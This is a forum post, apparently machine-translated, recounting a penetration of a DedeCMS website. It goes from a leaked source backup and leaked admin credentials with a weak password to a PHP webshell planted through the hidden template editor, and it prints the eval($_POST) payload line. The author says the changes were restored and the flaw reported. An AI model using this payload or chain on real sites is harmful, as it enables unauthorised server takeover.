Jump to content

Title: Record once the source code leaks to getshell (a)

Featured Replies

Posted

0x00 Introduction

All modifications in this penetration have been restored, and the vulnerability has been submitted to the cnvd platform

0x01 Source code leak

On a dark and windy night, I was idle and started using hunter to scan the source code of the Internet site.

When viewing the backup file scan results, I saw the baby

1049983-20220119231005643-855989855.png

Without saying a word, access the download to get the source code!

Traces of dedecms can be found in the annotation information 1049983-20220119231006182-1434081312.png

0x02 Sensitive information leakage

The first step to obtain source code is of course to get sensitive information to try global search (crtl+shift+f) keywords

key

pwd

passwd

password1. Database information leak

1049983-20220119231006736-1457108993.png

2. The password of the backend administrator is leaked

1049983-20220119231007158-1967199239.png

md5 decryption attempts to decrypt, it is actually a weak password

1049983-20220119231007541-157841701.png

After having an account password, of course, you have to find the background management address. So isn’t it easy to have a source code background management address?

The background address was found in the RCE-getshell source code of the background (it was actually changed to 888)

1049983-20220119231007991-2064194868.png

After entering the background with the leaked admin/admin888, the version information is found to be dedecms PS1

0x03 Historical Vulnerability

Since you have obtained cms information, the first step is of course to look at its historical loopholes

Finding historical vulnerabilities of SP1 are all remote codes that contain vulnerabilities, but this site has deleted the key file install.php (it does not exist in the source code)

With luck in mind, I tried to access it again (maybe it added again later) It does not exist, so I can only continue to view other functional points

Then I also tried to test many SP2 vulnerabilities, but all failed

Continue to test other points

Continue to view and discover system settings - system basic parameters - other options include disable functions for template engines

1049983-20220119231008552-615901508.png

But why did he disable the template engine function?

I looked at the source code again with this question

Sure enough, the template-related file was found again (it means that the function point is hidden and the file is still there)

1049983-20220119231009182-1712828016.png

Try accessing, successfully accessing and can execute normally

1049983-20220119231009831-933380532.png

Then it's easy to do. According to the dedecms template rules, write the background template to payload, and access to execute PHP code.

{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}

//Call method [field: field name/] The key here is runphp='yes'

//The php code is a simple sentence and then delete all the disabled functions in other options to save

1049983-20220119231010392-530351846.png

Because it is injected into index.htm

So the URL connected to the webshell is the home page

http://

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.